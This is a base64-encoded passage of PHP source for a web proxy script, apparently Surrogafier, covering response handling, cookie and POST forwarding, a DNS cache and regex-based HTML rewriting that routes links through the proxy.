CQkJfQoJCQlkb3NldGNvb2tpZSgkY29va19uYW1lLCRjb29rX3ZhbCk7CgkJfQoJfQoKCWlmKCRy ZXNwb25zZXswfT09JzMnICYmICRyZXNwb25zZXsxfT09JzAnICYmICRyZXNwb25zZXsyfSE9JzQn KXsKCQkkdXJsb2JqPW5ldyBhdXJsKCR1cmwpOwoJCSRyZWRpcnVybD1mcmFtaWZ5X3VybChzdXJy b2dhZnlfdXJsKCRoZWFkZXJzWydsb2NhdGlvbiddWzBdLCR1cmxvYmopLE5FV19QQUdFVFlQRV9G UkFNRURfUEFHRSk7CgoJCWZjbG9zZSgkZnApOwoJCXJlc3RvcmVfZXJyb3JfaGFuZGxlcigpOwoK CQlmaW5pc2hfbm9leGl0KCk7CgkJaGVhZGVyKCJMb2NhdGlvbjogeyRyZWRpcnVybH0iKTsKCQll eGl0KCk7Cgl9CgoJJG9oZWFkZXJzPSRoZWFkZXJzOwoJJG9oZWFkZXJzWydsb2NhdGlvbiddPSRv aGVhZGVyc1snY29udGVudC1sZW5ndGgnXT0kb2hlYWRlcnNbJ2NvbnRlbnQtZW5jb2RpbmcnXT0K CSRvaGVhZGVyc1snc2V0LWNvb2tpZSddPSRvaGVhZGVyc1sndHJhbnNmZXItZW5jb2RpbmcnXT0k b2hlYWRlcnNbJ2Nvbm5lY3Rpb24nXT0KCSRvaGVhZGVyc1sna2VlcC1hbGl2ZSddPSRvaGVhZGVy c1sncHJhZ21hJ109JG9oZWFkZXJzWydjYWNoZS1jb250cm9sJ109JG9oZWFkZXJzWydleHBpcmVz J109bnVsbDsKCgl3aGlsZShsaXN0KCRrZXksJHZhbCk9ZWFjaCgkb2hlYWRlcnMpKSBpZighZW1w dHkoJHZhbFswXSkpIGhlYWRlcigieyRrZXl9OiB7JHZhbFswXX0iKTsKCXVuc2V0KCRvaGVhZGVy cyk7CgloZWFkZXIoIlN0YXR1czogeyRyZXNwb25zZX0iKTsKCglpZihzdWJzdHIoJGhlYWRlcnNb J2NvbnRlbnQtdHlwZSddWzBdLDAsNCk9PSd0ZXh0JyB8fCBzdWJzdHIoJGhlYWRlcnNbJ2NvbnRl bnQtdHlwZSddWzBdLDAsMjQpPT0nYXBwbGljYXRpb24veC1qYXZhc2NyaXB0Jyl7CgkJJGp1c3Rv dXRwdXQ9ZmFsc2U7CgkJJGp1c3RvdXRwdXRub3c9ZmFsc2U7Cgl9CgllbHNlewoJCSRqdXN0b3V0 cHV0bm93PSgkaGVhZGVyc1snY29udGVudC1lbmNvZGluZyddWzBdPT0nZ3ppcCc/ZmFsc2U6dHJ1 ZSk7CgkJJGp1c3RvdXRwdXQ9dHJ1ZTsKCX0KCglpZigkaGVhZGVyc1sndHJhbnNmZXItZW5jb2Rp bmcnXVswXT09J2NodW5rZWQnKXsKCQkkYm9keT1udWxsOwoJCSRjaHVua3NpemU9bnVsbDsKCQl3 aGlsZSgkY2h1bmtzaXplIT09MCl7CgkJCSRjaHVua3NpemU9aW50dmFsKGZnZXRzKCRmcCw4MTky KSwxNik7CgkJCSRidWZzaXplPSRjaHVua3NpemU7CgkJCXdoaWxlKCRidWZzaXplPj0xKXsKCQkJ CSRjaHVuaz1mcmVhZCgkZnAsJGJ1ZnNpemUpOwoJCQkJaWYoJGp1c3RvdXRwdXRub3cpIGVjaG8g JGNodW5rOwoJCQkJZWxzZSAkYm9keS49JGNodW5rOwoJCQkJJGJ1ZnNpemUtPXN0cmxlbigkY2h1 bmspOwoJCQl9CgkJCWZyZWFkKCRmcCwyKTsKCQl9Cgl9CgoJLy8gQ29udGVudC1MZW5ndGggc3R1 ZmYgLSBjb21tZW50ZWQgZm9yIGV2ZW4gbW9yZSBjaG9jb2xhdGV5IGdvb2RuZXNzCgkvKmVsc2Vp ZigkaGVhZGVyc1snY29udGVudC1sZW5ndGgnXVswXSE9bnVsbCl7CgkJJGNvbmxlbj0kaGVhZGVy c1snY29udGVudC1sZW5ndGgnXVswXTsKCQkkYm9keT1udWxsOwoJCWZvcigkaT0wOyRpPCRjb25s ZW47JGkrPSRyZWFkKXsKCQkJJHJlYWQ9KCRjb25sZW4tJGk8ODE5Mj8kY29ubGVuLSRpOjgxOTIp OwoJCQkkYnl0ZT1mcmVhZCgkZnAsJHJlYWQpOwoJCQlpZigkanVzdG91dHB1dG5vdykgZWNobyAk Ynl0ZTsKCQkJZWxzZSAkYm9keS49JGJ5dGU7CgkJfQoJfSovCgoJZWxzZXsKCQlpZihmdW5jdGlv bl9leGlzdHMoJ3N0cmVhbV9nZXRfY29udGVudHMnKSl7CgkJCWlmKCRqdXN0b3V0cHV0bm93KSBl Y2hvIHN0cmVhbV9nZXRfY29udGVudHMoJGZwKTsKCQkJZWxzZSAkYm9keT1zdHJlYW1fZ2V0X2Nv bnRlbnRzKCRmcCk7CgkJfQoJCWVsc2V7CgkJCSRib2R5PW51bGw7CgkJCXdoaWxlKHRydWUpewoJ CQkJJGNodW5rPWZyZWFkKCRmcCw4MTkyKTsKCQkJCWlmKGVtcHR5KCRjaHVuaykpIGJyZWFrOwoJ CQkJaWYoJGp1c3RvdXRwdXRub3cpIGVjaG8gJGNodW5rOwoJCQkJZWxzZSAkYm9keS49JGNodW5r OwoJCQl9CgkJfQoJfQoKCWZjbG9zZSgkZnApOwoJcmVzdG9yZV9lcnJvcl9oYW5kbGVyKCk7CgoJ aWYoR1pJUF9QUk9YWV9TRVJWRVIgJiYgJGhlYWRlcnNbJ2NvbnRlbnQtZW5jb2RpbmcnXVswXT09 J2d6aXAnKSAkYm9keT1nemluZmxhdGUoc3Vic3RyKCRib2R5LDEwKSk7CglpZigkanVzdG91dHB1 dCl7CgkJaWYoISRqdXN0b3V0cHV0bm93KSBlY2hvICRib2R5OwoJCWZpbmlzaCgpOwoJfQoJcmV0 dXJuIGFycmF5KCRib2R5LCR1cmwsJGNvb2tfcHJlZml4KTsKCn0KCiMgfX19CgojIH19fQoKIyBQ Uk9YWSBFWEVDVVRJT04ge3t7CgojIFBST1hZIEVYRUNVVElPTjogVVNFUiBDT09LSUVTIHt7ewoK Z2xvYmFsICRwcm94eV92YXJpYWJsZXM7CiRwcm94eV92YXJpYWJsZXM9YXJyYXkoQ09PS19QUkVG LENPT0tfUFJFRi4nX3BpcCcsQ09PS19QUkVGLidfcHBvcnQnLENPT0tfUFJFRi4nX3VzZXJhZ2Vu dCcsQ09PS19QUkVGLidfdXNlcmFnZW50dGV4dCcsQ09PS19QUkVGLidfdXJsX2Zvcm0nLENPT0tf UFJFRi4nX3JlbW92ZV9jb29raWVzJyxDT09LX1BSRUYuJ19yZW1vdmVfcmVmZXJlcicsQ09PS19Q UkVGLidfcmVtb3ZlX3NjcmlwdHMnLENPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3RzJyxDT09LX1BS RUYuJ19lbmNyeXB0X3VybHMnLENPT0tfUFJFRi4nX2VuY3J5cHRfY29va3MnKTsKCmlmKCRwb3N0 YW5kZ2V0W0NPT0tfUFJFRi4nX3NldF92YWx1ZXMnXSl7CgkkcHJveHlfdmFyYmxhY2tsaXN0PWFy cmF5KENPT0tfUFJFRik7CglpZigkcG9zdGFuZGdldFtDT09LX1BSRUYuJ191c2VyYWdlbnQnXSE9 JzEnKXsKCQl1bnNldCgkcG9zdGFuZGdldFtDT09LX1BSRUYuJ191c2VyYWdlbnR0ZXh0J10pOwoJ CWRvc2V0Y29va2llKENPT0tfUFJFRi4nX3VzZXJhZ2VudHRleHQnLGZhbHNlLDApOwoJfQoJd2hp bGUobGlzdCgka2V5LCR2YWwpPWVhY2goJHByb3h5X3ZhcmlhYmxlcykpewoJCWlmKCFpbl9hcnJh eSgkdmFsLCRwcm94eV92YXJibGFja2xpc3QpKXsKCQkJZG9zZXRjb29raWUoJHZhbCxmYWxzZSww KTsKCQkJaWYoaXNzZXQoJHBvc3RhbmRnZXRbJHZhbF0pICYmICFlbXB0eSgkcG9zdGFuZGdldFsk dmFsXSkpIGRvc2V0Y29va2llKCR2YWwsJHBvc3RhbmRnZXRbJHZhbF0pOwoJCX0KCX0KCSR0aGV1 cmw9ZnJhbWlmeV91cmwoc3Vycm9nYWZ5X3VybChPUklHX1VSTCksUEFHRVRZUEVfRlJBTUVfVE9Q KTsKCSMkdGhldXJsPXN1cnJvZ2FmeV91cmwoKEVOQ1JZUFRfVVJMUz9wcm94ZGVjKCR0aGV1cmwp OiR0aGV1cmwpLG51bGwpOwoJaGVhZGVyKCJMb2NhdGlvbjogeyR0aGV1cmx9Iik7CglmaW5pc2go KTsKfQoKIyB9fX0KCiMgUFJPWFkgRVhFQ1VUSU9OOiBQUk9YWSBHRVQvUE9TVC9DT09LSUVTIHt7 ewoKZGVmaW5lKCdQSVAnLChGT1JDRV9ERUZBVUxUX1RVTk5FTD8kX0NPT0tJRVtDT09LX1BSRUYu J19waXAnXTpERUZBVUxUX1RVTk5FTF9QSVApKTsKZGVmaW5lKCdQUE9SVCcsaW50dmFsKEZPUkNF X0RFRkFVTFRfVFVOTkVMPyRfQ09PS0lFW0NPT0tfUFJFRi4nX3Bwb3J0J106REVGQVVMVF9UVU5O RUxfUFBPUlQpKTsKCmRlZmluZSgnRU5DUllQVF9DT09LUycsZ2V0aGFyZGF0dHIoJ2VuY3J5cHRf Y29va3MnKSk7CgpnbG9iYWwgJHJlZmVyZXI7CmlmKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXT09 bnVsbCl7CgkkcmVmdXJsb2JqPW5ldyBhdXJsKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSk7Cgkk cmVmZXJlcj1wcm94ZGVjKHByZWdfcmVwbGFjZSgnL15bXHNcU10qJy5DT09LX1BSRUYuJz0oW14m XSopW1xzXFNdKiQvaScsJ1wxJywkcmVmdXJsb2JqLT5nZXRfcGF0aCgpKSk7ICMqCn0KZWxzZSAk cmVmZXJlcj1udWxsOwoKIyRnZXRrZXlzPWFycmF5X2tleXMoJF9HRVQpOwojZm9yZWFjaCgkZ2V0 a2V5cyBhcyAkZ2V0dmFyKXsgaWYoIWluX2FycmF5KCRnZXR2YXIsJHByb3h5X3ZhcmlhYmxlcykp eyAkY3Vycl91cmwuPShzdHJwb3MoJGN1cnJfdXJsLCc/Jyk9PT1mYWxzZT8nPyc6JyYnKS4iJGdl dHZhcj0iLnVybGVuY29kZSgkX0dFVFskZ2V0dmFyXSk7IH0gfQoKZ2xvYmFsICRwb3N0X3ZhcnM7 CiRwb3N0X3ZhcnM9bnVsbDsKJHBvc3RrZXlzPWFycmF5X2tleXMoJF9QT1NUKTsKZm9yZWFjaCgk cG9zdGtleXMgYXMgJHBvc3RrZXkpewoJaWYoIWluX2FycmF5KCRwb3N0a2V5LCRwcm94eV92YXJp YWJsZXMpKXsKCQlpZighaXNfYXJyYXkoJF9QT1NUWyRwb3N0a2V5XSkpCgkJCSRwb3N0X3ZhcnMu PSgkcG9zdF92YXJzIT1udWxsPycmJzpudWxsKS5odHRwY2xlYW4oJHBvc3RrZXkpLic9Jy5odHRw Y2xlYW4oJF9QT1NUWyRwb3N0a2V5XSk7CgkJZWxzZXsKCQkJZm9yZWFjaCgkX1BPU1RbJHBvc3Rr ZXldIGFzICRwb3N0dmFsKQoJCQkJJHBvc3RfdmFycy49KCRwb3N0X3ZhcnMhPW51bGw/JyYnOm51 bGwpLmh0dHBjbGVhbigkcG9zdGtleSkuJyU1QiU1RD0nLmh0dHBjbGVhbigkcG9zdHZhbCk7CgkJ fQoJfQp9CnVuc2V0KCRwb3N0a2V5cyk7CgojIH19fQoKIyBQUk9YWSBFWEVDVVRJT046IEROUyBD QUNIRSB7e3sKCmlmKCFpc3NldCgkX1NFU1NJT05bJ0ROU19DQUNIRV9BUlJBWSddKSkgJGRuc19j YWNoZV9hcnJheT1hcnJheSgpOwplbHNlICRkbnNfY2FjaGVfYXJyYXk9JF9TRVNTSU9OWydETlNf Q0FDSEVfQVJSQVknXTsKCiMgcHVyZ2Ugb2xkIHJlY29yZHMgZnJvbSBETlMgY2FjaGUKd2hpbGUo bGlzdCgka2V5LCRlbnRyeSk9ZWFjaCgkZG5zX2NhY2hlX2FycmF5KSl7CglpZigkZW50cnlbJ3Rp bWUnXTx0aW1lKCktKEROU19DQUNIRV9FWFBJUkUqNjApKSB1bnNldCgkZG5zX2NhY2hlX2FycmF5 WyRrZXldKTsKfQoKIyB9fX0KCiMgUFJPWFkgRVhFQ1VUSU9OOiBQQUdFIFJFVFJJRVZBTCB7e3sK CiRwYWdlc3R1ZmY9Z2V0cGFnZSgkY3Vycl91cmwpOwokYm9keT0kcGFnZXN0dWZmWzBdOwoKJHRi b2R5PXRyaW0oJGJvZHkpOwppZigoJHRib2R5ezB9PT0nIicgJiYgc3Vic3RyKCR0Ym9keSwtMSk9 PSciJykgfHwgKCR0Ym9keXswfT09J1wnJyAmJiBzdWJzdHIoJHRib2R5LC0xKT09J1wnJykpewoJ ZWNobyAkYm9keTsKCWZpbmlzaCgpOwp9CnVuc2V0KCR0Ym9keSk7CgokY3Vycl91cmw9JHBhZ2Vz dHVmZlsxXTsKZGVmaW5lKCdQQUdFQ09PS19QUkVGSVgnLCRwYWdlc3R1ZmZbMl0pOwp1bnNldCgk cGFnZXN0dWZmKTsKZGVmaW5lKCdDT05URU5UX1RZUEUnLHByZWdfcmVwbGFjZSgnL14oW2EtejAt OVwtXC9dKykuKiQvaScsJ1wxJywkaGVhZGVyc1snY29udGVudC10eXBlJ11bMF0pKTsgIyoKCiMg fX19CgojIFBST1hZIEVYRUNVVElPTjogUEFHRSBQQVJTSU5HIHt7ewoKaWYoc3RycG9zKCRib2R5 LCc8YmFzZScpKXsKCSRiYXNlPXByZWdfcmVwbGFjZSgnL14uKicuQkFTRV9SRUdFWFAuJy4qJC9p cycsJ1wxJywkYm9keSk7CglpZighZW1wdHkoJGJhc2UpICYmICRiYXNlIT0kYm9keSAmJiAhZW1w dHkoJGJhc2V7MTAwfSkpewoJCSRib2R5PXByZWdfcmVwbGFjZSgnLycuQkFTRV9SRUdFWFAuJy9p JyxudWxsLCRib2R5KTsKCgkJLy9wcmVnX21hdGNoKCcvXihbIlwnXSkuKlwxJC9pJywkYmFzZSk+ MAoJCWlmKCgkYmFzZXswfT09JyInICYmIHN1YnN0cigkYmFzZSwtMSk9PSciJykgfHwgKCRiYXNl ezB9PT0nXCcnICYmIHN1YnN0cigkYmFzZSwtMSk9PSdcJycpKQoJCQkkYmFzZT1zdWJzdHIoJGJh c2UsMSxzdHJsZW4oJGJhc2UpLTIpOyAjKgoJCSRjdXJyX3VybD0kYmFzZTsKCX0KCXVuc2V0KCRi YXNlKTsKfQoKZ2xvYmFsICRjdXJyX3VybG9iajsKJGN1cnJfdXJsb2JqPW5ldyBhdXJsKCRjdXJy X3VybCk7CgojIFBST1hZIEVYRUNVVElPTjogUEFHRSBQQVJTSU5HOiBQQVJTSU5HIEZVTkNUSU9O UyB7e3sKCmZ1bmN0aW9uIHBhcnNlX2h0bWwoJHJlZ2V4cCwkcGFydG9wYXJzZSwkaHRtbCwkYWRk cHJveHksJGZyYW1pZnkpewoJZ2xvYmFsICRjdXJyX3VybG9iajsKCSRuZXdodG1sPW51bGw7Cgl3 aGlsZShwcmVnX21hdGNoKCRyZWdleHAsJGh0bWwsJG1hdGNoYXJyLFBSRUdfT0ZGU0VUX0NBUFRV UkUpKXsKCQkkbnVybD1zdXJyb2dhZnlfdXJsKCRtYXRjaGFyclskcGFydG9wYXJzZV1bMF0sJGN1 cnJfdXJsb2JqLCRhZGRwcm94eSk7CgkJaWYoJGZyYW1pZnkpICRudXJsPWZyYW1pZnlfdXJsKCRu dXJsLCRmcmFtaWZ5KTsKCQkkYmVnaW49JG1hdGNoYXJyWyRwYXJ0b3BhcnNlXVsxXTsKCQkkZW5k PSRtYXRjaGFyclskcGFydG9wYXJzZV1bMV0rc3RybGVuKCRtYXRjaGFyclskcGFydG9wYXJzZV1b MF0pOwoJCSRuZXdodG1sLj1zdWJzdHJfcmVwbGFjZSgkaHRtbCwkbnVybCwkYmVnaW4pOwoJCSRo dG1sPXN1YnN0cigkaHRtbCwkZW5kLHN0cmxlbigkaHRtbCktJGVuZCk7Cgl9CgkkbmV3aHRtbC49 JGh0bWw7CglyZXR1cm4gJG5ld2h0bWw7Cn0KCmZ1bmN0aW9uIHJlZ3VsYXJfZXhwcmVzcygkcmVn ZXhwX2FycmF5LCR0aGV2YXIpewoJIyRyZWdleHBfYXJyYXlbMl0uPSdTJzsgIyBpbiBiZW5jaG1h cmtzLCB0aGlzICdvcHRpbWl6YXRpb24nIGFwcGVhcmVkIHRvIG5vdCBkbyBhbnl0aGluZyBhdCBh bGwsIG9yIHBvc3NpYmx5IGV2ZW4gc2xvdyB0aGluZ3MgZG93bgoJaWYoJHJlZ2V4cF9hcnJheVsw XT09MSkgJG5ld3Zhcj1wcmVnX3JlcGxhY2UoJHJlZ2V4cF9hcnJheVsyXSwkcmVnZXhwX2FycmF5 WzNdLCR0aGV2YXIpOwoJZWxzZWlmKCRyZWdleHBfYXJyYXlbMF09PTIpewoJCSRhZGRwcm94eT0o aXNzZXQoJHJlZ2V4cF9hcnJheVs0XSk/JHJlZ2V4cF9hcnJheVs0XTp0cnVlKTsKCQkkZnJhbWlm eT0oaXNzZXQoJHJlZ2V4cF9hcnJheVs1XSk/JHJlZ2V4cF9hcnJheVs1XTpmYWxzZSk7CgkJJG5l d3Zhcj1wYXJzZV9odG1sKCRyZWdleHBfYXJyYXlbMl0sJHJlZ2V4cF9hcnJheVszXSwkdGhldmFy LCRhZGRwcm94eSwkZnJhbWlmeSk7Cgl9CglyZXR1cm4gJG5ld3ZhcjsKfQoKZnVuY3Rpb24gcGFy c2VfYWxsX2h0bWwoJGh0bWwpewoJZ2xvYmFsICRyZWdleHBfYXJyYXlzOwoKCWlmKENPTlRFTlRf VFlQRSE9J3RleHQvaHRtbCcpewoJCWZvcihyZXNldCgkcmVnZXhwX2FycmF5cyk7bGlzdCgka2V5 LCRhcnIpPWVhY2goJHJlZ2V4cF9hcnJheXMpOyl7CgkJCWlmKCRrZXk9PUNPTlRFTlRfVFlQRSl7 CgkJCQlmb3JlYWNoKCRhcnIgYXMgJHJlZ2Fycil7CgkJCQkJaWYoJHJlZ2Fycj09bnVsbCkgY29u dGludWU7CgkJCQkJJGh0bWw9cmVndWxhcl9leHByZXNzKCRyZWdhcnIsJGh0bWwpOwoJCQkJfQoJ CQl9CgkJfQoJCXJldHVybiAkaHRtbDsKCX0KCgkjaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJF Ri4nX3JlbW92ZV9zY3JpcHRzJ10pKSAkc3BsaXRhcnI9YXJyYXkoJGh0bWwpOwoJJHNwbGl0YXJy PXByZWdfc3BsaXQoJy8oPCEtLSg/IVxbaWYpLio/LS0+fDxzdHlsZS4qPzxcL3N0eWxlPnw8c2Ny aXB0Lio/PFwvc2NyaXB0PikvaXMnLCRodG1sLC0xLFBSRUdfU1BMSVRfREVMSU1fQ0FQVFVSRSk7 Cgl1bnNldCgkaHRtbCk7CgoJLy9kZWZpbmUoJ1JFR0VYUF9TQ1JJUFRfT05FVkVOVCcsJyggb25b YS16XXszLDIwfT0oPzoiKD86W14iXSspInxcJyg/OlteXCddKylcJ3xbXiJcJyA+XVteID5dK1te IlwnID5dKSknKTsKCSRmaXJzdHJ1bj10cnVlOwoJJGZpcnN0anNydW49dHJ1ZTsKCWZvcihyZXNl dCgkcmVnZXhwX2FycmF5cyk7bGlzdCgka2V5LCRhcnIpPWVhY2goJHJlZ2V4cF9hcnJheXMpOyl7 CgkJaWYoJGtleT09J3RleHQvamF2YXNjcmlwdCcpIGNvbnRpbnVlOwoKCQkvLyBPUFRJT04xOiB1 c2UgT05MWSBpZiBubyBKYXZhc2NyaXB0IFJFR0VYUFMgYWZmZWN0IEhUTUwgc2VjdGlvbnMKCQkv LyBhbmQgYWxsIEhUTUwgbW9kaWZ5aW5nIEphdmFzY3JpcHQgUkVHRVhQUyBhcmUgcGVyZm9ybWVk IGFmdGVyIEhUTUwgcmVnZXhwcwoJCS8vIFRoaXMgZ2l2ZXMgYSBwcmV0dHkgc2lnbmlmaWNhbnQg c3BlZWQgYm9vc3QKCQkvLyBJZiB1c2VkLCBtYWtlIHN1cmUgIk9QVElPTjIiIGxpbmVzIGFyZSBj b21tZW50ZWQsIGFuZCBvdGhlciAiT1BUSU9OMSIgbGluZXMgQVJFTidUCgkJaWYoJGZpcnN0anNy dW4gJiYgJGtleT09J2FwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCcpewoJCQlpZighZW1wdHkoJF9D T09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3NjcmlwdHMnXSkpIGJyZWFrOwoJCQkkc3BsaXRhcnIy PWFycmF5KCk7CgkJCWZvcigkaT0wOyRpPGNvdW50KCRzcGxpdGFycik7JGkrPTIpewoJCQkJJHNw bGl0YXJyMlskaV09cHJlZ19zcGxpdCgnLycuUkVHRVhQX1NDUklQVF9PTkVWRU5ULicvaXMnLCRz cGxpdGFyclskaV0sLTEsUFJFR19TUExJVF9ERUxJTV9DQVBUVVJFKTsKCQkJfQoJCX0KCQkvLyBF TkQgT1BUSU9OMQoKCQkjIGZpcnN0cnVuIHJlbW92ZSBzY3JpcHRzOiBvbjxldmVudD5zIGFuZCBu b3NjcmlwdCB0YWdzOyBhbHNvIHJlbW92ZSBvYmplY3RzCgkJaWYoJGZpcnN0cnVuICYmICghZW1w dHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3NjcmlwdHMnXSkgfHwgIWVtcHR5KCRfQ09P S0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3RzJ10pKSl7CgkJCWZvcigkaT0wOyRpPGNvdW50 KCRzcGxpdGFycik7JGkrPTIpewoJCQkJaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3Jl bW92ZV9zY3JpcHRzJ10pKQoJCQkJCSRzcGxpdGFyclskaV09cHJlZ19yZXBsYWNlKCcvKD86Jy5S RUdFWFBfU0NSSVBUX09ORVZFTlQuJ3w8Lj9ub3NjcmlwdD4pL2lzJyxudWxsLCRzcGxpdGFyclsk aV0pOwoJCQkJaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3RzJ10p KQoJCQkJCSRzcGxpdGFyclskaV09cHJlZ19yZXBsYWNlKCcvPChlbWJlZHxvYmplY3QpLio/PFwv XDE+L2lzJyxudWxsLCRzcGxpdGFyclskaV0pOwoJCQl9CgkJfQoKCQlmb3JlYWNoKCRhcnIgYXMg JHJlZ2V4cF9hcnJheSl7CgkJCWlmKCRyZWdleHBfYXJyYXk9PW51bGwpIGNvbnRpbnVlOwoJCQlm b3IoJGk9MDskaTxjb3VudCgkc3BsaXRhcnIpOyRpKyspewoKCQkJCSMgcGFyc2Ugc2NyaXB0cyBm b3Igb248ZXZlbnQ+cwoJCQkJaWYoJGklMj09MCAmJiBpc3NldCgkc3BsaXRhcnIyKSAmJiAkcmVn ZXhwX2FycmF5WzFdPT0yKXsgLy8gT1BUSU9OMQoKCQkJCS8vIE9QVElPTjIKCQkJCS8vaWYoJHJl Z2V4cF9hcnJheVsxXT09MiAmJiAkaSUyPT0wKXsgLy8gT1BUSU9OMgoJCQkJCS8vJHNwbGl0YXJy MlskaV09cHJlZ19zcGxpdCgnLyggb25bYS16XXszLDIwfT0oPzoiKD86W14iXSspInxcJyg/Olte XCddKylcJ3xbXiJcJyA+XVteID5dK1teIlwnID5dKSkvaXMnLCRzcGxpdGFyclskaV0sLTEsUFJF R19TUExJVF9ERUxJTV9DQVBUVVJFKTsKCQkJCQkvLyBFTkQgT1BUSU9OMgoKCQkJCQkvL2lmKGNv dW50KCRzcGxpdGFycjJbJGldKTwyKSAkc3BsaXRhcnJbJGldPXJlZ3VsYXJfZXhwcmVzcygkcmVn ZXhwX2FycmF5LCRzcGxpdGFyclskaV0pOyAvLyBVTlJFTEFURUQgVE8gT1BUSU9OUwoJCQkJCWlm KGNvdW50KCRzcGxpdGFycjJbJGldKT4xKXsKCQkJCQkJZm9yKCRqPTE7JGo8Y291bnQoJHNwbGl0 YXJyMlskaV0pOyRqKz0yKXsKCQkJCQkJCSRiZWdpbj1wcmVnX3JlcGxhY2UoJy9eKFtePV0rPS4p LiokL2knLCdcMScsJHNwbGl0YXJyMlskaV1bJGpdKTsKCQkJCQkJCSRxdW90ZT1zdWJzdHIoJGJl Z2luLC0xKTsKCQkJCQkJCWlmKCRxdW90ZSE9JyInICYmICRxdW90ZSE9J1wnJyl7CgkJCQkJCQkJ JHF1b3RlPW51bGw7CgkJCQkJCQkJJGJlZ2luPXN1YnN0cigkYmVnaW4sMCwtMSk7CgkJCQkJCQl9 CgkJCQkJCQkkY29kZT1wcmVnX3JlcGxhY2UoJy9eW149XSs9Jy4oJHF1b3RlPT1udWxsPycoLiop JC9pJzonLiguKikuJC9pJyksJ1wxJywkc3BsaXRhcnIyWyRpXVskal0pOwoJCQkJCQkJaWYoc3Vi c3RyKCRjb2RlLDAsMTEpPT0namF2YXNjcmlwdDonKXsKCQkJCQkJCQkkYmVnaW4uPSdqYXZhc2Ny aXB0Oic7CgkJCQkJCQkJJGNvZGU9c3Vic3RyKCRjb2RlLDExKTsKCQkJCQkJCX0KCQkJCQkJCWlm KCRmaXJzdGpzcnVuKSAkY29kZT0iO3skY29kZX07IjsKCQkJCQkJCSRzcGxpdGFycjJbJGldWyRq XT0kYmVnaW4ucmVndWxhcl9leHByZXNzKCRyZWdleHBfYXJyYXksJGNvZGUpLiRxdW90ZTsKCQkJ CQkJfQoJCQkJCQkvLyRzcGxpdGFyclskaV09aW1wbG9kZShudWxsLCRzcGxpdGFycjJbJGldKTsg Ly8gT1BUSU9OMgoJCQkJCX0KCQkJCX0KCgkJCQkjIHJlbW92ZSBzY3JpcHRzCgkJCQllbHNlaWYo JGZpcnN0cnVuICYmICFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cydd KSAmJiBzdHJ0b2xvd2VyKHN1YnN0cigkc3BsaXRhcnJbJGldLDAsNykpPT0nPHNjcmlwdCcpCgkJ CQkJJHNwbGl0YXJyWyRpXT1udWxsOwoKCQkJCSMgcGFyc2UgdmFsaWQgc3R1ZmYKCQkJCWVsc2Vp ZigoJGklMj09MCAmJiAkcmVnZXhwX2FycmF5WzFdPT0xKSB8fCAoJHJlZ2V4cF9hcnJheVsxXT09 MiAmJiBzdHJ0b2xvd2VyKHN1YnN0cigkc3BsaXRhcnJbJGldLDAsNykpPT0nPHNjcmlwdCcpIHx8 ICgka2V5PT0ndGV4dC9jc3MnICYmIHN0cnRvbG93ZXIoc3Vic3RyKCRzcGxpdGFyclskaV0sMCw2 KSk9PSc8c3R5bGUnKSl7CgkJCQkJJHNwbGl0YXJyWyRpXT1yZWd1bGFyX2V4cHJlc3MoJHJlZ2V4 cF9hcnJheSwkc3BsaXRhcnJbJGldKTsKCQkJCX0KCgkJCQkjIHNjcmlwdCBwdXJnZSBjbGVhbnVw CgkJCQlpZigkZmlyc3RydW4gJiYgZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3Nj cmlwdHMnXSkgJiYgc3RydG9sb3dlcihzdWJzdHIoJHNwbGl0YXJyWyRpXSwtOSkpPT0nPC9zY3Jp cHQ+JyAmJiAhcHJlZ19tYXRjaCgnL15bXj5dKnNyYy9pJywkc3BsaXRhcnJbJGldKSl7CgkJCQkJ JHNwbGl0YXJyWyRpXT1wcmVnX3JlcGxhY2UoJy8nLkVORF9PRl9TQ1JJUFRfVEFHLickL2knLCc7 Jy5DT09LX1BSRUYuJy5wdXJnZSgpOy8vLS0+PC9zY3JpcHQ+Jywkc3BsaXRhcnJbJGldKTsKCQkJ CX0KCgkJCX0KCgkJCSRmaXJzdHJ1bj1mYWxzZTsKCQkJaWYoJGZpcnN0anNydW4gJiYgJGtleT09 J2FwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCcpCgkJCQkkZmlyc3Rqc3J1bj1mYWxzZTsKCQl9Cgl9 CgoJLy8gT1BUSU9OMQoKCWlmKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9zY3Jp cHRzJ10pKXsKCQlmb3IoJGk9MDskaTxjb3VudCgkc3BsaXRhcnIpOyRpKz0yKXsKCQkJJHNwbGl0 YXJyWyRpXT1pbXBsb2RlKG51bGwsJHNwbGl0YXJyMlskaV0pOwoJCX0KCX0KCS8vIEVORCBPUFRJ T04xCgoJcmV0dXJuIGltcGxvZGUobnVsbCwkc3BsaXRhcnIpOwp9CgojIH19fQoKLy8kc3RhcnR0 aW1lPW1pY3JvdGltZSh0cnVlKTsgIyBCRU5DSE1BUksKJGJvZHk9cGFyc2VfYWxsX2h0bWwoJGJv ZHkpOwovLyRwYXJzZXRpbWU9bWljcm90aW1lKHRydWUpLSRzdGFydHRpbWU7ICMgQkVOQ0hNQVJL CgojIFBST1hZIEVYRUNVVElPTjogUEFHRSBQQVJTSU5HOiBQUk9YWSBIRUFERVJTL0pBVkFTQ1JJ UFQge3t7CgppZihDT05URU5UX1RZUEU9PSd0ZXh0L2h0bWwnKXsKCSRiaWdfaGVhZGVycz0nPG1l dGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJub2luZGV4LCBub2ZvbGxvdyIgLz4nLgoJCQkoUEFH RVRZUEVfSUQ9PT1QQUdFVFlQRV9GUkFNRURfUEFHRT8nPGJhc2UgdGFyZ2V0PSJfdG9wIj4nOm51 